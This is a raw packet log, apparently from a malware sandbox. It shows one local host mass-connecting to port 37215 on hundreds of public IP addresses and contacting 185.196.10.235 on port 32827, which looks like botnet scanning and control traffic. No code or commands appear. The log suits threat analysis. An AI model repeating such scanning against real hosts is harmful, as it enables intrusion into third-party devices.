Sep 25, 2024 14:14:11.293153048 CEST	63353	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:11.293171883 CEST	37215	63353	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:11.293174028 CEST	63353	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:11.293199062 CEST	37215	63353	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:11.293206930 CEST	63353	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:11.293226957 CEST	37215	63353	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:11.293230057 CEST	63353	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:11.293253899 CEST	37215	63353	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:11.293278933 CEST	63353	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:11.293279886 CEST	37215	63353	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:11.293298006 CEST	63353	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:11.293307066 CEST	37215	63353	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:11.293317080 CEST	63353	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:11.293334007 CEST	37215	63353	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:11.293339968 CEST	63353	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:11.293360949 CEST	37215	63353	156.59.45.78	192.168.2.14
Sep 25, 2024 14:14:11.293368101 CEST	63353	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:11.293386936 CEST	37215	63353	41.234.48.19	192.168.2.14
Sep 25, 2024 14:14:11.293411970 CEST	63353	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:11.293414116 CEST	37215	63353	197.45.117.209	192.168.2.14
Sep 25, 2024 14:14:11.293420076 CEST	63353	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:11.293441057 CEST	37215	63353	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:11.293448925 CEST	63353	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:11.293472052 CEST	37215	63353	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:11.293479919 CEST	63353	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:11.293504953 CEST	37215	63353	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:11.293523073 CEST	63353	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:11.293531895 CEST	37215	63353	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:11.293559074 CEST	37215	63353	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:11.293585062 CEST	63353	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:11.293590069 CEST	63353	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:11.293664932 CEST	63353	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:11.375345945 CEST	53094	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:11.380244970 CEST	32827	53094	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:11.380299091 CEST	53094	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:11.381134987 CEST	53094	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:11.386029959 CEST	32827	53094	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:11.768282890 CEST	37215	53682	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:11.768389940 CEST	53682	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:12.157059908 CEST	37215	59754	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:12.157159090 CEST	59754	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:12.280309916 CEST	63353	37215	192.168.2.14	156.50.208.185
Sep 25, 2024 14:14:12.280309916 CEST	63353	37215	192.168.2.14	197.220.223.193
Sep 25, 2024 14:14:12.280323982 CEST	63353	37215	192.168.2.14	197.173.131.25
Sep 25, 2024 14:14:12.280337095 CEST	63353	37215	192.168.2.14	41.183.2.163
Sep 25, 2024 14:14:12.280337095 CEST	63353	37215	192.168.2.14	41.86.242.144
Sep 25, 2024 14:14:12.280349016 CEST	63353	37215	192.168.2.14	156.205.177.195
Sep 25, 2024 14:14:12.280373096 CEST	63353	37215	192.168.2.14	156.145.55.142
Sep 25, 2024 14:14:12.280390024 CEST	63353	37215	192.168.2.14	41.167.173.75
Sep 25, 2024 14:14:12.280390024 CEST	63353	37215	192.168.2.14	41.171.242.69
Sep 25, 2024 14:14:12.280397892 CEST	63353	37215	192.168.2.14	156.188.16.139
Sep 25, 2024 14:14:12.280404091 CEST	63353	37215	192.168.2.14	197.84.179.164
Sep 25, 2024 14:14:12.280404091 CEST	63353	37215	192.168.2.14	41.232.104.199
Sep 25, 2024 14:14:12.280405045 CEST	63353	37215	192.168.2.14	197.35.179.40
Sep 25, 2024 14:14:12.280426979 CEST	63353	37215	192.168.2.14	156.220.57.244
Sep 25, 2024 14:14:12.280430079 CEST	63353	37215	192.168.2.14	41.105.101.235
Sep 25, 2024 14:14:12.280436039 CEST	63353	37215	192.168.2.14	156.210.7.241
Sep 25, 2024 14:14:12.280436039 CEST	63353	37215	192.168.2.14	156.42.45.27
Sep 25, 2024 14:14:12.280452967 CEST	63353	37215	192.168.2.14	41.32.135.195
Sep 25, 2024 14:14:12.280467987 CEST	63353	37215	192.168.2.14	41.198.228.38
Sep 25, 2024 14:14:12.280472994 CEST	63353	37215	192.168.2.14	156.82.160.67
Sep 25, 2024 14:14:12.280472994 CEST	63353	37215	192.168.2.14	41.18.9.189
Sep 25, 2024 14:14:12.280476093 CEST	63353	37215	192.168.2.14	156.204.137.110
Sep 25, 2024 14:14:12.280486107 CEST	63353	37215	192.168.2.14	156.100.53.177
Sep 25, 2024 14:14:12.280487061 CEST	63353	37215	192.168.2.14	156.82.14.149
Sep 25, 2024 14:14:12.280503988 CEST	63353	37215	192.168.2.14	156.78.136.115
Sep 25, 2024 14:14:12.280512094 CEST	63353	37215	192.168.2.14	156.242.208.136
Sep 25, 2024 14:14:12.280527115 CEST	63353	37215	192.168.2.14	156.87.62.198
Sep 25, 2024 14:14:12.280535936 CEST	63353	37215	192.168.2.14	41.193.238.180
Sep 25, 2024 14:14:12.280549049 CEST	63353	37215	192.168.2.14	156.206.95.237
Sep 25, 2024 14:14:12.280559063 CEST	63353	37215	192.168.2.14	41.77.197.89
Sep 25, 2024 14:14:12.280560970 CEST	63353	37215	192.168.2.14	156.103.10.148
Sep 25, 2024 14:14:12.280560970 CEST	63353	37215	192.168.2.14	156.71.227.147
Sep 25, 2024 14:14:12.280561924 CEST	63353	37215	192.168.2.14	156.218.26.216
Sep 25, 2024 14:14:12.280565977 CEST	63353	37215	192.168.2.14	41.236.60.245
Sep 25, 2024 14:14:12.280575037 CEST	63353	37215	192.168.2.14	156.19.39.238
Sep 25, 2024 14:14:12.280582905 CEST	63353	37215	192.168.2.14	197.61.140.184
Sep 25, 2024 14:14:12.280606031 CEST	63353	37215	192.168.2.14	41.123.68.249
Sep 25, 2024 14:14:12.280613899 CEST	63353	37215	192.168.2.14	41.22.149.174
Sep 25, 2024 14:14:12.280616999 CEST	63353	37215	192.168.2.14	156.255.206.87
Sep 25, 2024 14:14:12.280626059 CEST	63353	37215	192.168.2.14	197.141.101.115
Sep 25, 2024 14:14:12.280627966 CEST	63353	37215	192.168.2.14	41.39.56.200
Sep 25, 2024 14:14:12.280626059 CEST	63353	37215	192.168.2.14	41.137.47.127
Sep 25, 2024 14:14:12.280632019 CEST	63353	37215	192.168.2.14	41.65.216.202
Sep 25, 2024 14:14:12.280656099 CEST	63353	37215	192.168.2.14	156.226.94.87
Sep 25, 2024 14:14:12.280656099 CEST	63353	37215	192.168.2.14	156.41.236.89
Sep 25, 2024 14:14:12.280663013 CEST	63353	37215	192.168.2.14	197.108.218.60
Sep 25, 2024 14:14:12.280669928 CEST	63353	37215	192.168.2.14	156.55.25.212
Sep 25, 2024 14:14:12.280669928 CEST	63353	37215	192.168.2.14	197.71.45.236
Sep 25, 2024 14:14:12.280689001 CEST	63353	37215	192.168.2.14	197.209.198.33
Sep 25, 2024 14:14:12.280702114 CEST	63353	37215	192.168.2.14	156.81.87.36
Sep 25, 2024 14:14:12.280702114 CEST	63353	37215	192.168.2.14	197.250.15.236
Sep 25, 2024 14:14:12.280709028 CEST	63353	37215	192.168.2.14	41.207.197.23
Sep 25, 2024 14:14:12.280709982 CEST	63353	37215	192.168.2.14	156.135.120.198
Sep 25, 2024 14:14:12.280713081 CEST	63353	37215	192.168.2.14	197.46.63.172
Sep 25, 2024 14:14:12.280725002 CEST	63353	37215	192.168.2.14	41.40.154.147
Sep 25, 2024 14:14:12.280733109 CEST	63353	37215	192.168.2.14	156.103.167.244
Sep 25, 2024 14:14:12.280740976 CEST	63353	37215	192.168.2.14	41.146.54.183
Sep 25, 2024 14:14:12.280750036 CEST	63353	37215	192.168.2.14	197.147.203.105
Sep 25, 2024 14:14:12.280750036 CEST	63353	37215	192.168.2.14	197.127.12.154
Sep 25, 2024 14:14:12.280760050 CEST	63353	37215	192.168.2.14	197.47.175.207
Sep 25, 2024 14:14:12.280776024 CEST	63353	37215	192.168.2.14	156.164.140.46
Sep 25, 2024 14:14:12.280780077 CEST	63353	37215	192.168.2.14	197.205.233.19
Sep 25, 2024 14:14:12.280782938 CEST	63353	37215	192.168.2.14	41.82.34.3
Sep 25, 2024 14:14:12.280783892 CEST	63353	37215	192.168.2.14	197.135.232.189
Sep 25, 2024 14:14:12.280808926 CEST	63353	37215	192.168.2.14	41.126.225.191
Sep 25, 2024 14:14:12.280817032 CEST	63353	37215	192.168.2.14	197.237.242.112
Sep 25, 2024 14:14:12.280819893 CEST	63353	37215	192.168.2.14	156.234.164.53
Sep 25, 2024 14:14:12.280819893 CEST	63353	37215	192.168.2.14	41.197.169.222
Sep 25, 2024 14:14:12.280819893 CEST	63353	37215	192.168.2.14	156.158.158.169
Sep 25, 2024 14:14:12.280832052 CEST	63353	37215	192.168.2.14	156.175.200.149
Sep 25, 2024 14:14:12.280832052 CEST	63353	37215	192.168.2.14	41.102.156.163
Sep 25, 2024 14:14:12.280832052 CEST	63353	37215	192.168.2.14	197.79.252.16
Sep 25, 2024 14:14:12.280853033 CEST	63353	37215	192.168.2.14	156.144.55.227
Sep 25, 2024 14:14:12.280886889 CEST	63353	37215	192.168.2.14	41.3.186.30
Sep 25, 2024 14:14:12.280888081 CEST	63353	37215	192.168.2.14	41.10.64.20
Sep 25, 2024 14:14:12.280898094 CEST	63353	37215	192.168.2.14	41.128.129.189
Sep 25, 2024 14:14:12.280909061 CEST	63353	37215	192.168.2.14	41.172.68.65
Sep 25, 2024 14:14:12.280913115 CEST	63353	37215	192.168.2.14	156.95.134.117
Sep 25, 2024 14:14:12.280920029 CEST	63353	37215	192.168.2.14	156.162.21.175
Sep 25, 2024 14:14:12.280931950 CEST	63353	37215	192.168.2.14	197.117.103.158
Sep 25, 2024 14:14:12.280944109 CEST	63353	37215	192.168.2.14	197.185.70.50
Sep 25, 2024 14:14:12.280940056 CEST	63353	37215	192.168.2.14	197.240.65.52
Sep 25, 2024 14:14:12.280957937 CEST	63353	37215	192.168.2.14	156.36.104.157
Sep 25, 2024 14:14:12.280966043 CEST	63353	37215	192.168.2.14	197.0.238.133
Sep 25, 2024 14:14:12.280966043 CEST	63353	37215	192.168.2.14	197.167.33.28
Sep 25, 2024 14:14:12.280970097 CEST	63353	37215	192.168.2.14	41.175.222.205
Sep 25, 2024 14:14:12.280970097 CEST	63353	37215	192.168.2.14	156.37.65.96
Sep 25, 2024 14:14:12.280977964 CEST	63353	37215	192.168.2.14	197.176.226.254
Sep 25, 2024 14:14:12.280980110 CEST	63353	37215	192.168.2.14	41.90.168.183
Sep 25, 2024 14:14:12.280987978 CEST	63353	37215	192.168.2.14	197.140.165.179
Sep 25, 2024 14:14:12.280988932 CEST	63353	37215	192.168.2.14	197.53.163.92
Sep 25, 2024 14:14:12.280998945 CEST	63353	37215	192.168.2.14	41.69.56.187
Sep 25, 2024 14:14:12.281004906 CEST	63353	37215	192.168.2.14	156.135.119.71
Sep 25, 2024 14:14:12.281008005 CEST	63353	37215	192.168.2.14	41.114.144.195
Sep 25, 2024 14:14:12.281009912 CEST	63353	37215	192.168.2.14	156.246.188.63
Sep 25, 2024 14:14:12.281024933 CEST	63353	37215	192.168.2.14	156.123.218.83
Sep 25, 2024 14:14:12.281040907 CEST	63353	37215	192.168.2.14	41.98.231.39
Sep 25, 2024 14:14:12.281040907 CEST	63353	37215	192.168.2.14	41.111.10.101
Sep 25, 2024 14:14:12.281043053 CEST	63353	37215	192.168.2.14	197.131.80.125
Sep 25, 2024 14:14:12.281054974 CEST	63353	37215	192.168.2.14	41.232.119.160
Sep 25, 2024 14:14:12.281069040 CEST	63353	37215	192.168.2.14	156.214.238.178
Sep 25, 2024 14:14:12.281069040 CEST	63353	37215	192.168.2.14	197.53.109.91
Sep 25, 2024 14:14:12.281081915 CEST	63353	37215	192.168.2.14	156.222.174.194
Sep 25, 2024 14:14:12.281092882 CEST	63353	37215	192.168.2.14	197.63.231.230
Sep 25, 2024 14:14:12.281092882 CEST	63353	37215	192.168.2.14	156.196.112.17
Sep 25, 2024 14:14:12.281097889 CEST	63353	37215	192.168.2.14	156.15.10.203
Sep 25, 2024 14:14:12.281105995 CEST	63353	37215	192.168.2.14	197.6.134.212
Sep 25, 2024 14:14:12.281105995 CEST	63353	37215	192.168.2.14	156.31.105.111
Sep 25, 2024 14:14:12.281105995 CEST	63353	37215	192.168.2.14	156.222.67.232
Sep 25, 2024 14:14:12.281120062 CEST	63353	37215	192.168.2.14	41.82.240.200
Sep 25, 2024 14:14:12.281126022 CEST	63353	37215	192.168.2.14	197.140.146.19
Sep 25, 2024 14:14:12.281126022 CEST	63353	37215	192.168.2.14	197.96.126.69
Sep 25, 2024 14:14:12.281141043 CEST	63353	37215	192.168.2.14	156.25.89.190
Sep 25, 2024 14:14:12.281143904 CEST	63353	37215	192.168.2.14	41.81.118.132
Sep 25, 2024 14:14:12.281152010 CEST	63353	37215	192.168.2.14	41.60.57.59
Sep 25, 2024 14:14:12.281152964 CEST	63353	37215	192.168.2.14	156.165.180.137
Sep 25, 2024 14:14:12.281181097 CEST	63353	37215	192.168.2.14	156.40.170.204
Sep 25, 2024 14:14:12.281191111 CEST	63353	37215	192.168.2.14	197.43.96.34
Sep 25, 2024 14:14:12.281197071 CEST	63353	37215	192.168.2.14	197.105.92.69
Sep 25, 2024 14:14:12.281205893 CEST	63353	37215	192.168.2.14	197.81.123.15
Sep 25, 2024 14:14:12.281209946 CEST	63353	37215	192.168.2.14	197.1.193.32
Sep 25, 2024 14:14:12.281212091 CEST	63353	37215	192.168.2.14	156.157.20.65
Sep 25, 2024 14:14:12.281213999 CEST	63353	37215	192.168.2.14	197.239.240.163
Sep 25, 2024 14:14:12.281214952 CEST	63353	37215	192.168.2.14	197.157.131.147
Sep 25, 2024 14:14:12.281217098 CEST	63353	37215	192.168.2.14	41.29.196.13
Sep 25, 2024 14:14:12.281223059 CEST	63353	37215	192.168.2.14	197.1.114.38
Sep 25, 2024 14:14:12.281234980 CEST	63353	37215	192.168.2.14	197.5.126.230
Sep 25, 2024 14:14:12.281240940 CEST	63353	37215	192.168.2.14	197.1.251.40
Sep 25, 2024 14:14:12.281241894 CEST	63353	37215	192.168.2.14	197.11.239.20
Sep 25, 2024 14:14:12.281244993 CEST	63353	37215	192.168.2.14	197.16.157.37
Sep 25, 2024 14:14:12.281255960 CEST	63353	37215	192.168.2.14	197.118.23.85
Sep 25, 2024 14:14:12.281271935 CEST	63353	37215	192.168.2.14	156.181.125.202
Sep 25, 2024 14:14:12.281280041 CEST	63353	37215	192.168.2.14	156.182.158.151
Sep 25, 2024 14:14:12.281280041 CEST	63353	37215	192.168.2.14	41.220.45.86
Sep 25, 2024 14:14:12.281295061 CEST	63353	37215	192.168.2.14	41.138.230.199
Sep 25, 2024 14:14:12.281296968 CEST	63353	37215	192.168.2.14	156.26.19.249
Sep 25, 2024 14:14:12.281305075 CEST	63353	37215	192.168.2.14	41.119.7.114
Sep 25, 2024 14:14:12.281317949 CEST	63353	37215	192.168.2.14	41.104.242.237
Sep 25, 2024 14:14:12.281317949 CEST	63353	37215	192.168.2.14	197.115.93.204
Sep 25, 2024 14:14:12.281317949 CEST	63353	37215	192.168.2.14	41.3.58.116
Sep 25, 2024 14:14:12.281327009 CEST	63353	37215	192.168.2.14	41.109.148.185
Sep 25, 2024 14:14:12.281343937 CEST	63353	37215	192.168.2.14	197.155.122.58
Sep 25, 2024 14:14:12.281348944 CEST	63353	37215	192.168.2.14	197.95.8.121
Sep 25, 2024 14:14:12.281348944 CEST	63353	37215	192.168.2.14	197.222.118.186
Sep 25, 2024 14:14:12.281356096 CEST	63353	37215	192.168.2.14	156.139.96.207
Sep 25, 2024 14:14:12.281378031 CEST	63353	37215	192.168.2.14	197.48.195.238
Sep 25, 2024 14:14:12.281378031 CEST	63353	37215	192.168.2.14	41.87.237.98
Sep 25, 2024 14:14:12.281399012 CEST	63353	37215	192.168.2.14	41.45.4.87
Sep 25, 2024 14:14:12.281400919 CEST	63353	37215	192.168.2.14	41.65.214.227
Sep 25, 2024 14:14:12.281421900 CEST	63353	37215	192.168.2.14	197.39.230.84
Sep 25, 2024 14:14:12.281423092 CEST	63353	37215	192.168.2.14	41.27.210.102
Sep 25, 2024 14:14:12.281424046 CEST	63353	37215	192.168.2.14	41.220.22.226
Sep 25, 2024 14:14:12.281424046 CEST	63353	37215	192.168.2.14	156.50.183.231
Sep 25, 2024 14:14:12.281425953 CEST	63353	37215	192.168.2.14	197.199.141.73
Sep 25, 2024 14:14:12.281434059 CEST	63353	37215	192.168.2.14	197.9.152.223
Sep 25, 2024 14:14:12.281466007 CEST	63353	37215	192.168.2.14	41.251.73.22
Sep 25, 2024 14:14:12.281465054 CEST	63353	37215	192.168.2.14	197.1.116.150
Sep 25, 2024 14:14:12.281465054 CEST	63353	37215	192.168.2.14	156.32.134.39
Sep 25, 2024 14:14:12.281471014 CEST	63353	37215	192.168.2.14	156.125.205.215
Sep 25, 2024 14:14:12.281508923 CEST	63353	37215	192.168.2.14	197.194.252.26
Sep 25, 2024 14:14:12.281866074 CEST	37404	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.282638073 CEST	36572	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.283473969 CEST	60278	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.284246922 CEST	57964	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.285084963 CEST	40650	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.285605907 CEST	37710	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.286257982 CEST	50604	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.286832094 CEST	52044	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.287466049 CEST	34452	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.287646055 CEST	37215	63353	156.50.208.185	192.168.2.14
Sep 25, 2024 14:14:12.287679911 CEST	37215	63353	197.173.131.25	192.168.2.14
Sep 25, 2024 14:14:12.287684917 CEST	37215	63353	197.220.223.193	192.168.2.14
Sep 25, 2024 14:14:12.287688971 CEST	37215	63353	41.183.2.163	192.168.2.14
Sep 25, 2024 14:14:12.287693977 CEST	37215	63353	41.86.242.144	192.168.2.14
Sep 25, 2024 14:14:12.287698984 CEST	37215	63353	156.205.177.195	192.168.2.14
Sep 25, 2024 14:14:12.287700891 CEST	63353	37215	192.168.2.14	156.50.208.185
Sep 25, 2024 14:14:12.287707090 CEST	63353	37215	192.168.2.14	197.173.131.25
Sep 25, 2024 14:14:12.287712097 CEST	37215	63353	156.145.55.142	192.168.2.14
Sep 25, 2024 14:14:12.287713051 CEST	63353	37215	192.168.2.14	197.220.223.193
Sep 25, 2024 14:14:12.287712097 CEST	63353	37215	192.168.2.14	41.86.242.144
Sep 25, 2024 14:14:12.287717104 CEST	37215	63353	197.84.179.164	192.168.2.14
Sep 25, 2024 14:14:12.287724972 CEST	63353	37215	192.168.2.14	156.205.177.195
Sep 25, 2024 14:14:12.287727118 CEST	37215	63353	197.35.179.40	192.168.2.14
Sep 25, 2024 14:14:12.287731886 CEST	37215	63353	41.232.104.199	192.168.2.14
Sep 25, 2024 14:14:12.287734985 CEST	63353	37215	192.168.2.14	41.183.2.163
Sep 25, 2024 14:14:12.287743092 CEST	37215	63353	156.188.16.139	192.168.2.14
Sep 25, 2024 14:14:12.287744045 CEST	63353	37215	192.168.2.14	197.84.179.164
Sep 25, 2024 14:14:12.287746906 CEST	37215	63353	41.105.101.235	192.168.2.14
Sep 25, 2024 14:14:12.287749052 CEST	63353	37215	192.168.2.14	156.145.55.142
Sep 25, 2024 14:14:12.287751913 CEST	37215	63353	156.210.7.241	192.168.2.14
Sep 25, 2024 14:14:12.287755966 CEST	63353	37215	192.168.2.14	197.35.179.40
Sep 25, 2024 14:14:12.287756920 CEST	37215	63353	156.220.57.244	192.168.2.14
Sep 25, 2024 14:14:12.287761927 CEST	37215	63353	156.42.45.27	192.168.2.14
Sep 25, 2024 14:14:12.287765980 CEST	37215	63353	41.32.135.195	192.168.2.14
Sep 25, 2024 14:14:12.287767887 CEST	63353	37215	192.168.2.14	41.105.101.235
Sep 25, 2024 14:14:12.287775040 CEST	63353	37215	192.168.2.14	156.188.16.139
Sep 25, 2024 14:14:12.287775040 CEST	63353	37215	192.168.2.14	156.210.7.241
Sep 25, 2024 14:14:12.287777901 CEST	37215	63353	41.167.173.75	192.168.2.14
Sep 25, 2024 14:14:12.287784100 CEST	37215	63353	41.171.242.69	192.168.2.14
Sep 25, 2024 14:14:12.287792921 CEST	37215	63353	41.198.228.38	192.168.2.14
Sep 25, 2024 14:14:12.287794113 CEST	63353	37215	192.168.2.14	156.42.45.27
Sep 25, 2024 14:14:12.287796021 CEST	63353	37215	192.168.2.14	41.32.135.195
Sep 25, 2024 14:14:12.287797928 CEST	37215	63353	156.82.160.67	192.168.2.14
Sep 25, 2024 14:14:12.287808895 CEST	37215	63353	41.18.9.189	192.168.2.14
Sep 25, 2024 14:14:12.287812948 CEST	37215	63353	156.204.137.110	192.168.2.14
Sep 25, 2024 14:14:12.287817001 CEST	37215	63353	156.100.53.177	192.168.2.14
Sep 25, 2024 14:14:12.287817001 CEST	63353	37215	192.168.2.14	156.220.57.244
Sep 25, 2024 14:14:12.287817955 CEST	63353	37215	192.168.2.14	41.232.104.199
Sep 25, 2024 14:14:12.287822008 CEST	37215	63353	156.82.14.149	192.168.2.14
Sep 25, 2024 14:14:12.287827015 CEST	37215	63353	156.242.208.136	192.168.2.14
Sep 25, 2024 14:14:12.287828922 CEST	63353	37215	192.168.2.14	41.18.9.189
Sep 25, 2024 14:14:12.287827015 CEST	63353	37215	192.168.2.14	41.167.173.75
Sep 25, 2024 14:14:12.287827015 CEST	63353	37215	192.168.2.14	41.171.242.69
Sep 25, 2024 14:14:12.287831068 CEST	63353	37215	192.168.2.14	41.198.228.38
Sep 25, 2024 14:14:12.287838936 CEST	37215	63353	156.78.136.115	192.168.2.14
Sep 25, 2024 14:14:12.287842989 CEST	63353	37215	192.168.2.14	156.82.160.67
Sep 25, 2024 14:14:12.287846088 CEST	63353	37215	192.168.2.14	156.100.53.177
Sep 25, 2024 14:14:12.287849903 CEST	63353	37215	192.168.2.14	156.204.137.110
Sep 25, 2024 14:14:12.287851095 CEST	63353	37215	192.168.2.14	156.242.208.136
Sep 25, 2024 14:14:12.287868023 CEST	63353	37215	192.168.2.14	156.82.14.149
Sep 25, 2024 14:14:12.287868977 CEST	63353	37215	192.168.2.14	156.78.136.115
Sep 25, 2024 14:14:12.288129091 CEST	38496	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.288166046 CEST	37215	63353	156.87.62.198	192.168.2.14
Sep 25, 2024 14:14:12.288171053 CEST	37215	63353	41.193.238.180	192.168.2.14
Sep 25, 2024 14:14:12.288181067 CEST	37215	63353	156.206.95.237	192.168.2.14
Sep 25, 2024 14:14:12.288186073 CEST	37215	63353	41.77.197.89	192.168.2.14
Sep 25, 2024 14:14:12.288197994 CEST	37215	63353	156.218.26.216	192.168.2.14
Sep 25, 2024 14:14:12.288197994 CEST	63353	37215	192.168.2.14	41.193.238.180
Sep 25, 2024 14:14:12.288199902 CEST	63353	37215	192.168.2.14	156.87.62.198
Sep 25, 2024 14:14:12.288202047 CEST	37215	63353	156.103.10.148	192.168.2.14
Sep 25, 2024 14:14:12.288206100 CEST	37215	63353	156.71.227.147	192.168.2.14
Sep 25, 2024 14:14:12.288216114 CEST	37215	63353	41.236.60.245	192.168.2.14
Sep 25, 2024 14:14:12.288216114 CEST	63353	37215	192.168.2.14	41.77.197.89
Sep 25, 2024 14:14:12.288222075 CEST	63353	37215	192.168.2.14	156.103.10.148
Sep 25, 2024 14:14:12.288223982 CEST	63353	37215	192.168.2.14	156.206.95.237
Sep 25, 2024 14:14:12.288232088 CEST	63353	37215	192.168.2.14	156.71.227.147
Sep 25, 2024 14:14:12.288250923 CEST	63353	37215	192.168.2.14	156.218.26.216
Sep 25, 2024 14:14:12.288252115 CEST	63353	37215	192.168.2.14	41.236.60.245
Sep 25, 2024 14:14:12.288511992 CEST	37215	63353	156.19.39.238	192.168.2.14
Sep 25, 2024 14:14:12.288532972 CEST	37215	63353	197.61.140.184	192.168.2.14
Sep 25, 2024 14:14:12.288537979 CEST	37215	63353	41.123.68.249	192.168.2.14
Sep 25, 2024 14:14:12.288542032 CEST	37215	63353	41.22.149.174	192.168.2.14
Sep 25, 2024 14:14:12.288547039 CEST	37215	63353	156.255.206.87	192.168.2.14
Sep 25, 2024 14:14:12.288556099 CEST	37215	63353	41.39.56.200	192.168.2.14
Sep 25, 2024 14:14:12.288562059 CEST	63353	37215	192.168.2.14	197.61.140.184
Sep 25, 2024 14:14:12.288568974 CEST	63353	37215	192.168.2.14	156.19.39.238
Sep 25, 2024 14:14:12.288569927 CEST	63353	37215	192.168.2.14	41.123.68.249
Sep 25, 2024 14:14:12.288568974 CEST	63353	37215	192.168.2.14	41.22.149.174
Sep 25, 2024 14:14:12.288573027 CEST	37215	63353	41.65.216.202	192.168.2.14
Sep 25, 2024 14:14:12.288578033 CEST	37215	63353	197.141.101.115	192.168.2.14
Sep 25, 2024 14:14:12.288578987 CEST	63353	37215	192.168.2.14	156.255.206.87
Sep 25, 2024 14:14:12.288582087 CEST	63353	37215	192.168.2.14	41.39.56.200
Sep 25, 2024 14:14:12.288583040 CEST	37215	63353	41.137.47.127	192.168.2.14
Sep 25, 2024 14:14:12.288588047 CEST	37215	63353	156.226.94.87	192.168.2.14
Sep 25, 2024 14:14:12.288593054 CEST	37215	63353	156.41.236.89	192.168.2.14
Sep 25, 2024 14:14:12.288606882 CEST	37215	63353	197.108.218.60	192.168.2.14
Sep 25, 2024 14:14:12.288610935 CEST	37215	63353	156.55.25.212	192.168.2.14
Sep 25, 2024 14:14:12.288610935 CEST	63353	37215	192.168.2.14	41.137.47.127
Sep 25, 2024 14:14:12.288619995 CEST	37215	63353	197.71.45.236	192.168.2.14
Sep 25, 2024 14:14:12.288625002 CEST	37215	63353	197.209.198.33	192.168.2.14
Sep 25, 2024 14:14:12.288625002 CEST	63353	37215	192.168.2.14	156.41.236.89
Sep 25, 2024 14:14:12.288625002 CEST	63353	37215	192.168.2.14	156.226.94.87
Sep 25, 2024 14:14:12.288629055 CEST	37215	63353	156.81.87.36	192.168.2.14
Sep 25, 2024 14:14:12.288633108 CEST	63353	37215	192.168.2.14	41.65.216.202
Sep 25, 2024 14:14:12.288639069 CEST	37215	63353	41.207.197.23	192.168.2.14
Sep 25, 2024 14:14:12.288635015 CEST	63353	37215	192.168.2.14	197.141.101.115
Sep 25, 2024 14:14:12.288640976 CEST	63353	37215	192.168.2.14	197.71.45.236
Sep 25, 2024 14:14:12.288635015 CEST	63353	37215	192.168.2.14	197.108.218.60
Sep 25, 2024 14:14:12.288642883 CEST	37215	63353	156.135.120.198	192.168.2.14
Sep 25, 2024 14:14:12.288641930 CEST	63353	37215	192.168.2.14	156.55.25.212
Sep 25, 2024 14:14:12.288650036 CEST	37215	63353	197.46.63.172	192.168.2.14
Sep 25, 2024 14:14:12.288655043 CEST	37215	63353	197.250.15.236	192.168.2.14
Sep 25, 2024 14:14:12.288656950 CEST	63353	37215	192.168.2.14	197.209.198.33
Sep 25, 2024 14:14:12.288660049 CEST	37215	63353	41.40.154.147	192.168.2.14
Sep 25, 2024 14:14:12.288661003 CEST	63353	37215	192.168.2.14	156.81.87.36
Sep 25, 2024 14:14:12.288669109 CEST	37215	63353	41.146.54.183	192.168.2.14
Sep 25, 2024 14:14:12.288674116 CEST	37215	63353	156.103.167.244	192.168.2.14
Sep 25, 2024 14:14:12.288676977 CEST	37215	63353	197.147.203.105	192.168.2.14
Sep 25, 2024 14:14:12.288681984 CEST	63353	37215	192.168.2.14	156.135.120.198
Sep 25, 2024 14:14:12.288683891 CEST	63353	37215	192.168.2.14	197.250.15.236
Sep 25, 2024 14:14:12.288686037 CEST	37215	63353	197.127.12.154	192.168.2.14
Sep 25, 2024 14:14:12.288690090 CEST	37215	63353	197.47.175.207	192.168.2.14
Sep 25, 2024 14:14:12.288691998 CEST	63353	37215	192.168.2.14	41.146.54.183
Sep 25, 2024 14:14:12.288692951 CEST	63353	37215	192.168.2.14	41.40.154.147
Sep 25, 2024 14:14:12.288695097 CEST	37215	63353	156.164.140.46	192.168.2.14
